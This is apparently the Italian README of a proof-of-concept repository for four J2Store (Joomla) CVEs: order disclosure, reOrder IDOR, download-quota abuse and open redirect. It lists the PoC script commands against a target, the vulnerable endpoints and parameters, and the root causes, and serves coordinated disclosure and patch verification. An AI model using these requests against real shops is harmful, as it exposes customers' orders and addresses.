
PoC per J2Store CVE-2026-67358–67362 (avviso di sicurezza J2Commerce dell'agosto 2026)
Materiale proof-of-concept per quattro vulnerabilità in com_j2store (J2Commerce J2Store), scoperte da Murrez e corrette in:
| Branch | Versione corretta |
|---|---|
| J2Store 3.x |
| 3.3.21 |
| J2Store 4.0.x | 4.0.21 |
| J2Store 4.1.x | 4.1.6 |
Avviso ufficiale: Annuncio di sicurezza J2Commerce (2026-08-20)
| CVE | Problema | Autenticazione | CVSS 4.0 | Gravità |
|---|---|---|---|---|
| CVE-2026-67359 | Dettagli riga e totali dell'ordine non autenticati tramite expressconfirm | Nessuna | 8.7 | Alta |
| CVE-2026-67360 | IDOR reOrder tra clienti (carrello/indirizzo della vittima nella sessione dell'attaccante) | Bassa (utente autenticato) | 8.7 | Alta |
| CVE-2026-67358 | updateHitCount consuma la quota di download di un altro cliente | Bassa (token ordine ospite) | 5.3 | Media |
| CVE-2026-67362 | Open redirect nelle attività del carrello (setcurrency, addItem, applyCoupon, applyVoucher) | Nessuna | 5.1 | Media |
Versione testata: J2Store Pro 4.1.5 su Joomla 5.x (laboratorio locale).
Solo per ricerca di sicurezza autorizzata e verifica delle patch. Non utilizzare contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.
pip install -r requirements.txt
Python 3.10+
URL di base predefinito del laboratorio: http://127.0.0.1:9991
# CVE-2026-67359 — unauth order disclosure
python poc/CVE-2026-67359_expressconfirm.py --base http://TARGET --order-id ORDER_ID
# CVE-2026-67362 — open redirect (checks Location header)
python poc/CVE-2026-67362_open_redirect.py --base http://TARGET
# CVE-2026-67358 — cross-order download quota burn
python poc/CVE-2026-67358_updateHitCount.py \
--base http://TARGET \
--order-id YOUR_ORDER_ID \
--token YOUR_ORDER_TOKEN \
--victim-orderdownload-id 2
# CVE-2026-67360 — reOrder IDOR (requires Joomla login + CSRF)
python poc/CVE-2026-67360_reOrder.py \
--base http://TARGET \
--order-id VICTIM_ORDER_ID \
--username USER --password PASS
# Run all applicable unauthenticated checks
python poc/run_all.py --base http://TARGET --order-id ORDER_ID
Replay minimi Burp/curl: replay/
expressconfirmEndpoint: GET /index.php?option=com_j2store&view=checkout&task=expressconfirm&order_id=…
Quando non esiste una sessione di checkout attiva, qualsiasi order_id visualizza la pagina di conferma dell'express-checkout (righe d'ordine, quantità, prezzi, totali) senza autenticazione.
Causa principale: components/com_j2store/controllers/checkouts.php — expressconfirm() utilizza l'order_id fornito dalla richiesta senza verificarne la proprietà.
reOrderEndpoint: GET /index.php?option=com_j2store&view=myprofile&task=reOrder&order_id=…&{csrf}=1
Un utente autenticato con l'order_id di una vittima può attivare il reorder: le righe d'ordine della vittima vengono copiate nel carrello dell'attaccante; gli ID degli indirizzi di fatturazione/spedizione della vittima vengono salvati nella sessione dell'attaccante.
Causa principale: components/com_j2store/controllers/myprofile.php — reOrder() valida CSRF e login ma non $order->user_id.
updateHitCountEndpoint: POST /index.php?option=com_j2store&view=myprofile&task=updateHitCount
Un ospite o cliente con una coppia (order_id, token) valida propria può incrementare limit_count su un orderdownload_id di un altro ordine. Non è richiesto alcun token CSRF.
Causa principale: components/com_j2store/controllers/myprofile.php — il token viene verificato solo rispetto all'ordine del chiamante; orderdownload_id non è vincolato a quell'ordine.
Task: carts.setcurrency, carts.addItem, carts.applyCoupon, carts.applyVoucher
I parametri redirect / return codificati in Base64 vengono decodificati e passati a $app->redirect() senza una allowlist degli host. JRoute::_() non blocca gli URL esterni assoluti.
Causa principale: components/com_j2store/controllers/carts.php
I problemi 1, 2, 3 e 5 nell'avviso del vendor — Murrez ([email protected]).
Divulgazione coordinata tramite J2Commerce e Joomla Security Strike Team.
MIT — vedi LICENSE.